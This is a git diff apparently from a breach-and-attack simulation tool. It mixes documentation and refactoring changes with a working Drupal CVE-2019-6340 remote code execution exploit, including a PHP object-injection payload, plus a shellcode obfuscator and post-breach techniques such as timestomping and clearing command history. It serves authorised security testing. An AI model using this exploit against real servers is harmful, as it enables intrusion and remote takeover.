| Monkey-Linux-32 | Agent | 1.6.1 | `9E5F8FA7F85FEB1BC31E0AE7D1F303139CA3FE5FA044E6C58F68B4917D27CACE` |
|
||||||
|
| Monkey-Linux-64 | Agent | 1.6.1 | `74F9FFBB504FF5E74EFF1399685C0C110EDE0D3244F61591D77EE7A22672457E` |
|
||||||
|
| Monkey-Windows-32.exe | Agent | 1.6.1 | `53AC0F047CA95A0476944559F6FC650ADA865891139FA1258B35A5A525BC6002` |
|
||||||
|
| Monkey-Windows-64.exe | Agent | 1.6.1 | `53019FD25CD4A0AE526696EB05E2EEDE32607263C5F29BE36554D637532D41C3` |
|
||||||
|
| infection_monkey_1.5.2.ova | OVA | 1.5.2 | `6E6CAABBA7CCDB20E981147560353EC731B1FC8955D0319886D36E9825C201C7` |
|
||||||
|
| infection_monkey_1.5_deb.tgz | Debian | 1.5.2 | `E84EFA3C20A417D13DC6EA64CB046D40ED7534A6FBB91EBF6EA061716A855A17` |
|
||||||
|
| infection_monkey_1.5_docker.tgz | Docker | 1.5.2 | `0D33C17556FAC28874A2FE9157DB311892B42669E51C043C4DAE2F68B0D74B8F` |
|
||||||
|
| Monkey-Linux-32 | Agent | 1.5.2 | `4DF689A845FD7092E81ECB0AB5207621836B3D46B71FB3829E5E5CF9DDAF52D0` |
|
||||||
|
| Monkey-Linux-64 | Agent | 1.5.2 | `99FC4BB24D2EFF1CD107CCE932EA0BDC006ED2226AE0DC19DD0BC7A97ADB553F` |
|
||||||
|
| Monkey-Windows-32.exe | Agent | 1.5.2 | `8FC1441B87BDFD786A3A262542C013E4C84AC870C847A919CDA0851F91A511B9` |
|
||||||
|
| Monkey-Windows-64.exe | Agent | 1.5.2 | `0AE8F0AB190E8BEAE78AB12C8477C924FE92B19B1E079B279F4F87AE4BD2A718` |
|
||||||
|
| infection_monkey_deb.20180402_184213.tgz | Debian | 1.5.1 | `4425FC97DE825715837783258FD8BCF88E87AAB3500F63D287384B9D74D54122` |
|
||||||
|
| Monkey Island v1.5.1.3377.exe | Windows Installer | 1.5.1 | `5A137ADA97F39F4C3CA278E851D2684B929911639E2876EB4DF1D1AC5D70E27D` |
|
||||||
|
| infection_monkey_docker.20180402_184212.tgz | Docker | 1.5.1 | `049831C3F9C959128C5C8D9843819A4ED960FF046B1536216B5FA5FF4B28D1A6` |
|
||||||
|
| Monkey-Linux-32 | Agent | 1.6 | `665E1263347B9D0245211676496E91669809B3865ED8B5AD1878DA54A9784F5C` |
|
||||||
|
| Monkey-Linux-64 | Agent | 1.6 | `F0D51E7431CF07A842D4D25AAE2DD8A6B9EE08744914729AF448F92088798F7F` |
|
||||||
|
| Monkey-Windows-32.exe | Agent | 1.6 | `77AC4264715A6E7D238F8B67ED04EE75CF75C07D360A4B649CA6E31C83CE7B21` |
|
||||||
|
| Monkey-Windows-64.exe | Agent | 1.6 | `0DEED0AA00F7D54B084EF6888731B0CFEC6382045A74B55162FDD3D00D0BE9F8` |
|
||||||
|
| Monkey Island v1.6.0.3414.exe | Windows installer | 1.6 | `242879983A709D7CD6D7D7EEC493442B7FACC8E215CBB21650915C5EECB8829A` |
|
||||||
|
| infection_monkey_1.6.ova | OVA | 1.6 | `831FBA09AA49940B1747164BEB6B4AF83BA04FCE35285912AB0B18A7FA1A39D8` |
|
||||||
|
| infection_monkey_deb.1.6.tgz | Debian | 1.6 | `339EC88DD6A2AB6CB917456AA8970B0F1D36D7335E7D2EE1A34B74047F843542` |
|
||||||
|
| infection_monkey_docker.1.6.tgz | Docker | 1.6 | `0624CF75C4D208DDC7475636CFE2869BA324DEB88C3860DB2934E7BDA3E664F6` |
|
||||||
|
| infection_monkey.ova | OVA | 1.5 | `A6773C4DA8FF7A09C0F3FEE45A25D45830C616AACCEC14C86542462ADCDA1F89` |
|
||||||
|
| infection_monkey_deb.20180208_175917.tgz | Debian | 1.5 | `04E3CD3CD301A44BEE508C1BF993948B89212EF3269D61FB13ECB9FDC25268DB` |
|
||||||
|
| infection_monkey_docker.20180119_112852.tgz | Docker | 1.5 | `4D94C6BB7B4A0177CC1F3E864FB714015619ACB4DD1C4E92D8986BA093F8BD87` |
|
||||||
|
| Monkey Island v1.5.0.exe | Windows installer | 1.5 | `A1D7725AF116AE33CEA9A0E641E61C96E51FAFCCCB598F668EB99E35DE799C7B` |
|
||||||
|
| infection_monkey_1.5_deb.tgz | Debian | 1.5 | `1433B8A5E778F12C9E8AE4B1BCBF2863E0CC5E001D661C8540804B909B9D83C5` |
|
||||||
|
| infection_monkey_1.5_docker.tgz | Docker | 1.5 | `22B7FDC4C213F0385AEB9F63E60665470C2862C8C1B45B5B49FBF320570A9082` |
|
||||||
|
| Monkey Island v1.5.0.3371.exe | Windows Installer | 1.5 | `B69997E9920E73F16896D3E793AB721388E5636DB1846D4BFEC1C7A372EE2059` |
|
||||||
|
| infection_monkey_1.5_deb.tgz | Debian | 1.5 | `00EB499FCC590950723E42784D3502B70EAD8AD396B916AF450AB1A48DF993ED` |
|
||||||
|
| infection_monkey_1.5_docker.tgz | Docker | 1.5 | `A8670280A07EF6A9F5DC9CEB4B11B25DD7B90C37AD94666A6FFAABD6D105F0CB` |
|
||||||
|
| Monkey Island v1.5.0.exe | Windows Installer | 1.5 | `55F39C8EEB04089F54C10C991A82FE1539BC072E1A7F364D0C720CBF0A28EBB7` |
|
||||||
|
| Monkey-Linux-32 | Agent | 1.5 | `B85E10AEF0B6935B0AF6EFEA03C9A684859F2DD078B31D9492E98585E2E89C39` |
|
||||||
|
| Monkey-Linux-64 | Agent | 1.5 | `44BA13A7391D4A16C46D5EF44F60B09E1EDCEB3C716C0AF4241F166619A62944` |
|
||||||
|
|
|
@ -7,11 +7,13 @@ pre: "<i class='fas fa-play-circle'></i> "
|
||||||
tags: ["usage"]
|
tags: ["usage"]
|
||||||
---
|
---
|
||||||
|
|
||||||
|
If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup)
|
||||||
|
|
||||||
## Using the Infection Monkey
|
## Using the Infection Monkey
|
||||||
|
|
||||||
After deploying the Monkey Island in your environment, navigate to `https://<server-ip>:5000`.
|
After deploying the Monkey Island in your environment, navigate to `https://<server-ip>:5000`.
|
||||||
|
|
||||||
### First-time setup
|
### First-time login
|
||||||
|
|
||||||
On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../accounts-and-security).
|
On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../accounts-and-security).
|
||||||
|
|
||||||
|
|
|
@ -8,7 +8,7 @@ pre = "<i class='fas fa-map-marked-alt'></i> "
|
||||||
|
|
||||||
# Use cases
|
# Use cases
|
||||||
|
|
||||||
This section describes possible use cases for the "Infection Monkey" and helps to
|
This section describes possible use cases for the Infection Monkey and helps to
|
||||||
understand how this tool can be configured.
|
understand how this tool can be configured.
|
||||||
You can also refer to [our FAQ](../../faq) for more specific questions and answers.
|
You can also refer to [our FAQ](../../faq) for more specific questions and answers.
|
||||||
|
|
||||||
|
@ -16,9 +16,6 @@ You can also refer to [our FAQ](../../faq) for more specific questions and answe
|
||||||
No worries! The Monkey uses safe exploiters and does not cause any permanent system modifications that impact security or operations.
|
No worries! The Monkey uses safe exploiters and does not cause any permanent system modifications that impact security or operations.
|
||||||
{{% /notice %}}
|
{{% /notice %}}
|
||||||
|
|
||||||
#### Section contents:
|
## Section contents
|
||||||
- [Network breach](./network-breach) - Simulate internal network breach.
|
|
||||||
- [Network segmentation](./network-segmentation) - Test network segmentation.
|
{{% children description=True %}}
|
||||||
- [Credential leak](./credential-leak) - Assess the impact of successful phishing attack or other form of credential leak.
|
|
||||||
- [IDS/IPS Test](./ids-test) - Test your network defence solutions.
|
|
||||||
- [Other](./other) - Tips and tricks about configuring monkey for your needs.
|
|
||||||
|
|
|
@ -1,7 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "Credential Leak"
|
title: "Credential Leak"
|
||||||
date: 2020-08-12T13:04:25+03:00
|
date: 2020-08-12T13:04:25+03:00
|
||||||
draft: true
|
draft: false
|
||||||
|
description: "Assess the impact of successful phishing attack, insider threat, or other form of credentials leak."
|
||||||
weight: 4
|
weight: 4
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "IDS/IPS Test"
|
title: "IDS/IPS Test"
|
||||||
date: 2020-08-12T13:07:47+03:00
|
date: 2020-08-12T13:07:47+03:00
|
||||||
draft: true
|
draft: false
|
||||||
|
description: "Test your network defence solutions."
|
||||||
weight: 5
|
weight: 5
|
||||||
---
|
---
|
||||||
|
|
||||||
|
@ -24,7 +25,7 @@ Running the Monkey on both the Island and on a few other machines in the network
|
||||||
as it increases coverage and propagation rates.
|
as it increases coverage and propagation rates.
|
||||||
|
|
||||||
|
|
||||||
![Post breach configuration](/images/usage/scenarios/ids-test.png "Post breach configuration")
|
![Post breach configuration](/images/usage/use-cases/ids-test.PNG "Post breach configuration")
|
||||||
|
|
||||||
## Assessing results
|
## Assessing results
|
||||||
|
|
||||||
|
@ -50,5 +51,5 @@ While running this scenario, be on the lookout for the action that should arise:
|
||||||
Lastly, check Zero Trust and Mitre ATT&CK reports, to see which attacks can be executed on the network and how to
|
Lastly, check Zero Trust and Mitre ATT&CK reports, to see which attacks can be executed on the network and how to
|
||||||
fix it.
|
fix it.
|
||||||
|
|
||||||
![Map](/images/usage/scenarios/map-full-cropped.png "Map")
|
![Map](/images/usage/use-cases/map-full-cropped.png "Map")
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "Network Breach"
|
title: "Network Breach"
|
||||||
date: 2020-08-12T13:04:55+03:00
|
date: 2020-08-12T13:04:55+03:00
|
||||||
draft: true
|
draft: false
|
||||||
|
description: "Simulate an internal network breach and assess the potential impact."
|
||||||
weight: 1
|
weight: 1
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "Network Segmentation"
|
title: "Network Segmentation"
|
||||||
date: 2020-08-12T13:05:05+03:00
|
date: 2020-08-12T13:05:05+03:00
|
||||||
draft: true
|
draft: false
|
||||||
|
description: "Test network segmentation policies for apps that need ringfencing or tiers that require microsegmentation."
|
||||||
weight: 3
|
weight: 3
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,8 @@
|
||||||
---
|
---
|
||||||
title: "Other"
|
title: "Other"
|
||||||
date: 2020-08-12T13:07:55+03:00
|
date: 2020-08-12T13:07:55+03:00
|
||||||
draft: true
|
draft: false
|
||||||
|
description: "Tips and tricks about configuring monkey for your needs."
|
||||||
weight: 100
|
weight: 100
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
|
@ -91,16 +91,14 @@ class MonkeyIslandRequests(object):
|
||||||
return requests.patch(self.addr + url, # noqa: DUO123
|
return requests.patch(self.addr + url, # noqa: DUO123
|
||||||
data=data,
|
data=data,
|
||||||
headers=self.get_jwt_header(),
|
headers=self.get_jwt_header(),
|
||||||
verify=False
|
verify=False)
|
||||||
)
|
|
||||||
|
|
||||||
@_Decorators.refresh_jwt_token
|
@_Decorators.refresh_jwt_token
|
||||||
def delete(self, url):
|
def delete(self, url):
|
||||||
return requests.delete( # noqa: DOU123
|
return requests.delete( # noqa: DOU123
|
||||||
self.addr + url,
|
self.addr + url,
|
||||||
headers=self.get_jwt_header(),
|
headers=self.get_jwt_header(),
|
||||||
verify=False
|
verify=False)
|
||||||
)
|
|
||||||
|
|
||||||
@_Decorators.refresh_jwt_token
|
@_Decorators.refresh_jwt_token
|
||||||
def get_jwt_header(self):
|
def get_jwt_header(self):
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download'
|
|
@ -6,3 +6,7 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories"
|
||||||
POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
|
POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
|
||||||
POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
|
POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
|
||||||
POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
|
POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
|
||||||
|
POST_BREACH_TIMESTOMPING = "Modify files' timestamps"
|
||||||
|
POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution"
|
||||||
|
POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery"
|
||||||
|
POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history"
|
||||||
|
|
|
@ -28,7 +28,7 @@ class NetworkRange(object, metaclass=ABCMeta):
|
||||||
"""
|
"""
|
||||||
base_range = self.get_range()
|
base_range = self.get_range()
|
||||||
if self._shuffle:
|
if self._shuffle:
|
||||||
random.shuffle(base_range)
|
random.shuffle(base_range) # noqa: DUO102
|
||||||
|
|
||||||
for x in base_range:
|
for x in base_range:
|
||||||
yield self._number_to_ip(x)
|
yield self._number_to_ip(x)
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import re
|
||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str:
|
||||||
"""
|
"""
|
||||||
url = urlparse("http://" + network_location)
|
url = urlparse("http://" + network_location)
|
||||||
return str(url.hostname)
|
return str(url.hostname)
|
||||||
|
|
||||||
|
|
||||||
|
def remove_port(url):
|
||||||
|
parsed = urlparse(url)
|
||||||
|
with_port = f'{parsed.scheme}://{parsed.netloc}'
|
||||||
|
without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
|
||||||
|
return without_port
|
||||||
|
|
|
@ -1,12 +1,18 @@
|
||||||
from unittest import TestCase
|
from unittest import TestCase
|
||||||
|
|
||||||
from common.network.network_utils import get_host_from_network_location
|
from common.network.network_utils import (get_host_from_network_location,
|
||||||
|
remove_port)
|
||||||
|
|
||||||
|
|
||||||
class TestNetworkUtils(TestCase):
|
class TestNetworkUtils(TestCase):
|
||||||
def test_remove_port_from_ip_string(self):
|
def test_get_host_from_network_location(self):
|
||||||
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
||||||
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
||||||
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
|
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
|
||||||
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
|
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
|
||||||
assert get_host_from_network_location("user:password@host:8080") == "host"
|
assert get_host_from_network_location("user:password@host:8080") == "host"
|
||||||
|
|
||||||
|
def test_remove_port_from_url(self):
|
||||||
|
assert remove_port('https://google.com:80') == 'https://google.com'
|
||||||
|
assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
|
||||||
|
assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
# This code is used to obfuscate shellcode
|
||||||
|
# Usage:
|
||||||
|
# shellcode_obfuscator.py [your normal shellcode].
|
||||||
|
# For example:
|
||||||
|
# shellcode_obfuscator.py "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
|
||||||
|
# This returns "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52"
|
||||||
|
# Verify that it's the same shellcode, just reversed and paste it in code.
|
||||||
|
# Then clarify it before usage to reverse it on runtime.
|
||||||
|
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
def obfuscate(shellcode: str) -> str:
|
||||||
|
shellcode = shellcode.split('\\')[::-1]
|
||||||
|
return '\\'+'\\'.join(shellcode)[:-1]
|
||||||
|
|
||||||
|
|
||||||
|
def clarify(shellcode: str) -> str:
|
||||||
|
return shellcode[::-1]
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(obfuscate(sys.argv[1]))
|
|
@ -0,0 +1,17 @@
|
||||||
|
from unittest import TestCase
|
||||||
|
|
||||||
|
from common.utils.shellcode_obfuscator import clarify, obfuscate
|
||||||
|
|
||||||
|
SHELLCODE_FROM_CMD_PARAM = '\\x52\\x3d\\xf6\\xc9\\x4b\\x5d\\xe0\\x62\\x7e\\x3d\\xa8\\x07\\x7b\\x76\\x30'
|
||||||
|
OBFUSCATED_PARAM_OUTPUT = '\\x30\\x76\\x7b\\x07\\xa8\\x3d\\x7e\\x62\\xe0\\x5d\\x4b\\xc9\\xf6\\x3d\\x52'
|
||||||
|
OBFUSCATED_SHELLCODE = "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52"
|
||||||
|
CLARIFIED_SHELLCODE = "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
|
||||||
|
|
||||||
|
|
||||||
|
class TestShellcodeObfuscator(TestCase):
|
||||||
|
|
||||||
|
def test_obfuscate(self):
|
||||||
|
self.assertEqual(obfuscate(SHELLCODE_FROM_CMD_PARAM), OBFUSCATED_PARAM_OUTPUT)
|
||||||
|
|
||||||
|
def test_clarify(self):
|
||||||
|
self.assertEqual(clarify(OBFUSCATED_SHELLCODE), CLARIFIED_SHELLCODE)
|
|
@ -1,6 +1,9 @@
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
if sys.platform.startswith("win"):
|
if sys.platform.startswith("win"):
|
||||||
|
import pythoncom
|
||||||
|
|
||||||
|
pythoncom.CoInitialize()
|
||||||
import wmi
|
import wmi
|
||||||
|
|
||||||
from .mongo_utils import MongoUtils
|
from .mongo_utils import MongoUtils
|
||||||
|
|
|
@ -2,12 +2,14 @@ import json
|
||||||
import logging
|
import logging
|
||||||
import platform
|
import platform
|
||||||
from socket import gethostname
|
from socket import gethostname
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
from requests.exceptions import ConnectionError
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
|
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||||
from infection_monkey.config import GUID, WormConfiguration
|
from infection_monkey.config import GUID, WormConfiguration
|
||||||
from infection_monkey.network.info import check_internet_access, local_ips
|
from infection_monkey.network.info import check_internet_access, local_ips
|
||||||
from infection_monkey.transport.http import HTTPConnectProxy
|
from infection_monkey.transport.http import HTTPConnectProxy
|
||||||
|
@ -325,6 +327,17 @@ class ControlClient(object):
|
||||||
except requests.exceptions.RequestException:
|
except requests.exceptions.RequestException:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_T1216_pba_file():
|
||||||
|
try:
|
||||||
|
return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123
|
||||||
|
T1216_PBA_FILE_DOWNLOAD_PATH),
|
||||||
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies,
|
||||||
|
stream=True)
|
||||||
|
except requests.exceptions.RequestException:
|
||||||
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def should_monkey_run(vulnerable_port: str) -> bool:
|
def should_monkey_run(vulnerable_port: str) -> bool:
|
||||||
if vulnerable_port and \
|
if vulnerable_port and \
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import logging
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
|
||||||
|
@ -9,6 +10,9 @@ from infection_monkey.utils.plugins.plugin import Plugin
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class HostExploiter(Plugin):
|
class HostExploiter(Plugin):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def should_run(class_name):
|
def should_run(class_name):
|
||||||
|
@ -66,8 +70,11 @@ class HostExploiter(Plugin):
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
self.pre_exploit()
|
self.pre_exploit()
|
||||||
|
result = None
|
||||||
try:
|
try:
|
||||||
result = self._exploit_host()
|
result = self._exploit_host()
|
||||||
|
except Exception as _:
|
||||||
|
logger.error(f'Exception in exploit_host', exc_info=True)
|
||||||
finally:
|
finally:
|
||||||
self.post_exploit()
|
self.post_exploit()
|
||||||
return result
|
return result
|
||||||
|
|
|
@ -0,0 +1,191 @@
|
||||||
|
"""
|
||||||
|
Remote Code Execution on Drupal server - CVE-2019-6340
|
||||||
|
Implementation is based on:
|
||||||
|
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
from common.network.network_utils import remove_port
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from infection_monkey.model import ID_STRING
|
||||||
|
|
||||||
|
__author__ = 'Ophir Harpaz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class DrupalExploiter(WebRCE):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
_EXPLOITED_SERVICE = 'Drupal Server'
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(DrupalExploiter, self).__init__(host)
|
||||||
|
|
||||||
|
def get_exploit_config(self):
|
||||||
|
"""
|
||||||
|
We override this function because the exploits requires a special extension in the URL, "node",
|
||||||
|
e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
|
||||||
|
:return: the Drupal exploit config
|
||||||
|
"""
|
||||||
|
exploit_config = super(DrupalExploiter, self).get_exploit_config()
|
||||||
|
exploit_config['url_extensions'] = ['node/', # In Linux, no path is added
|
||||||
|
'drupal/node/'] # However, Bitnami installations are under /drupal
|
||||||
|
return exploit_config
|
||||||
|
|
||||||
|
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
|
||||||
|
"""
|
||||||
|
We need a specific implementation of this function in order to add the URLs *with the node IDs*.
|
||||||
|
We therefore check, for every potential URL, all possible node IDs.
|
||||||
|
:param potential_urls: Potentially-vulnerable URLs
|
||||||
|
:param stop_checking: Stop if one vulnerable URL is found
|
||||||
|
:return: None (in-place addition)
|
||||||
|
"""
|
||||||
|
for url in potential_urls:
|
||||||
|
try:
|
||||||
|
node_ids = find_exploitbale_article_ids(url)
|
||||||
|
if node_ids is None:
|
||||||
|
LOG.info('Could not find a Drupal node to attack')
|
||||||
|
continue
|
||||||
|
for node_id in node_ids:
|
||||||
|
node_url = urljoin(url, str(node_id))
|
||||||
|
if self.check_if_exploitable(node_url):
|
||||||
|
self.add_vuln_url(url) # This is for report. Should be refactored in the future
|
||||||
|
self.vulnerable_urls.append(node_url)
|
||||||
|
if stop_checking:
|
||||||
|
break
|
||||||
|
except Exception as e: # We still don't know which errors to expect
|
||||||
|
LOG.error(f'url {url} failed in exploitability check: {e}')
|
||||||
|
if not self.vulnerable_urls:
|
||||||
|
LOG.info("No vulnerable urls found")
|
||||||
|
|
||||||
|
def check_if_exploitable(self, url):
|
||||||
|
"""
|
||||||
|
Check if a certain URL is exploitable.
|
||||||
|
We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
|
||||||
|
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
|
||||||
|
:param url: Drupal's URL and port
|
||||||
|
:return: Vulnerable URL if exploitable, otherwise False
|
||||||
|
"""
|
||||||
|
payload = build_exploitability_check_payload(url)
|
||||||
|
|
||||||
|
response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
|
||||||
|
json=payload,
|
||||||
|
headers={"Content-Type": "application/hal+json"},
|
||||||
|
verify=False)
|
||||||
|
|
||||||
|
if is_response_cached(response):
|
||||||
|
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
|
||||||
|
return False
|
||||||
|
|
||||||
|
return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
|
||||||
|
|
||||||
|
def exploit(self, url, command):
|
||||||
|
# pad a easy search replace output:
|
||||||
|
cmd = f'echo {ID_STRING} && {command}'
|
||||||
|
base = remove_port(url)
|
||||||
|
payload = build_cmd_execution_payload(base, cmd)
|
||||||
|
|
||||||
|
r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123
|
||||||
|
json=payload,
|
||||||
|
headers={"Content-Type": "application/hal+json"},
|
||||||
|
verify=False)
|
||||||
|
|
||||||
|
if is_response_cached(r):
|
||||||
|
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
|
||||||
|
|
||||||
|
if ID_STRING not in r.text:
|
||||||
|
LOG.warning('Command execution _may_ have failed')
|
||||||
|
|
||||||
|
result = r.text.split(ID_STRING)[-1]
|
||||||
|
return result
|
||||||
|
|
||||||
|
def get_target_url(self):
|
||||||
|
"""
|
||||||
|
We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
|
||||||
|
Reusing the same URL eliminates its exploitability because of caching reasons :)
|
||||||
|
:return: vulnerable URL to exploit
|
||||||
|
"""
|
||||||
|
return self.vulnerable_urls.pop()
|
||||||
|
|
||||||
|
def are_vulnerable_urls_sufficient(self):
|
||||||
|
"""
|
||||||
|
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
|
||||||
|
:return: Whether the list of vulnerable URLs has at least 5 elements.
|
||||||
|
"""
|
||||||
|
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
|
||||||
|
num_urls_needed_for_full_exploit = 5
|
||||||
|
num_available_urls = len(self.vulnerable_urls)
|
||||||
|
result = num_available_urls >= num_urls_needed_for_full_exploit
|
||||||
|
if not result:
|
||||||
|
LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
|
||||||
|
f'but only {num_available_urls} found')
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def is_response_cached(r: requests.Response) -> bool:
|
||||||
|
""" Check if a response had the cache header. """
|
||||||
|
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
|
||||||
|
|
||||||
|
|
||||||
|
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
|
||||||
|
""" Find target articles that do not 404 and are not cached """
|
||||||
|
articles = set()
|
||||||
|
while lower < upper:
|
||||||
|
node_url = urljoin(base_url, str(lower))
|
||||||
|
response = requests.get(node_url, verify=False) # noqa: DUO123
|
||||||
|
if response.status_code == 200:
|
||||||
|
if is_response_cached(response):
|
||||||
|
LOG.info(f'Found a cached article at: {node_url}, skipping')
|
||||||
|
else:
|
||||||
|
articles.add(lower)
|
||||||
|
lower += 1
|
||||||
|
return articles
|
||||||
|
|
||||||
|
|
||||||
|
def build_exploitability_check_payload(url):
|
||||||
|
payload = {
|
||||||
|
"_links": {
|
||||||
|
"type": {
|
||||||
|
"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"type": {
|
||||||
|
"target_id": "article"
|
||||||
|
},
|
||||||
|
"title": {
|
||||||
|
"value": "My Article"
|
||||||
|
},
|
||||||
|
"body": {
|
||||||
|
"value": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return payload
|
||||||
|
|
||||||
|
|
||||||
|
def build_cmd_execution_payload(base, cmd):
|
||||||
|
payload = {
|
||||||
|
"link": [
|
||||||
|
{
|
||||||
|
"value": "link",
|
||||||
|
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
|
||||||
|
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
|
||||||
|
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
|
||||||
|
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
|
||||||
|
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
|
||||||
|
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
|
||||||
|
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
|
||||||
|
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
||||||
|
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"_links": {
|
||||||
|
"type": {
|
||||||
|
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return payload
|
|
@ -89,13 +89,13 @@ class WebRCE(HostExploiter):
|
||||||
if not ports:
|
if not ports:
|
||||||
return False
|
return False
|
||||||
# Get urls to try to exploit
|
# Get urls to try to exploit
|
||||||
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
